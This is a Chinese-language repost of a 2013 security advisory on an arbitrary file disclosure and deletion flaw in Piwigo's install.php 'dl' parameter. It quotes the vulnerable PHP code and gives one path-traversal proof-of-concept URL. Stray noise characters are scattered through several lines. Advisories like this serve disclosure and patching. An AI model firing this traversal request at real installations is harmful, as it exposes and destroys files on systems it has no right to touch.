Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

7 \1 X0 @5 T3 b# q! cPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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# u- i' J" E6 u/ C! j/install.php:
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113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
! P6 N! Y2 k2 C. e114: {
8 x4 f% r& K$ o5 u- N115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
8 f6 F" W0 y2 ~2 m: ?0 g. F5 J118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
0 }1 q; Y# y+ I! k$ T2 v2 W122:   unlink($filename);
3 A8 y( k1 ~0 u& r- Z5 j123:   exit();
124: }
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Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
3 B8 O' t5 O& C5 `- Q+ T5 f# F' e           MySQL 5.5.25a
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3 c4 Y2 p6 Q7 u+ b. u- IVulnerability discovered by Gjoko 'LiquidWorm' Krstic
: D2 h. I3 L( r5 G* V/ k                            @zeroscience

Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
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15.02.2013

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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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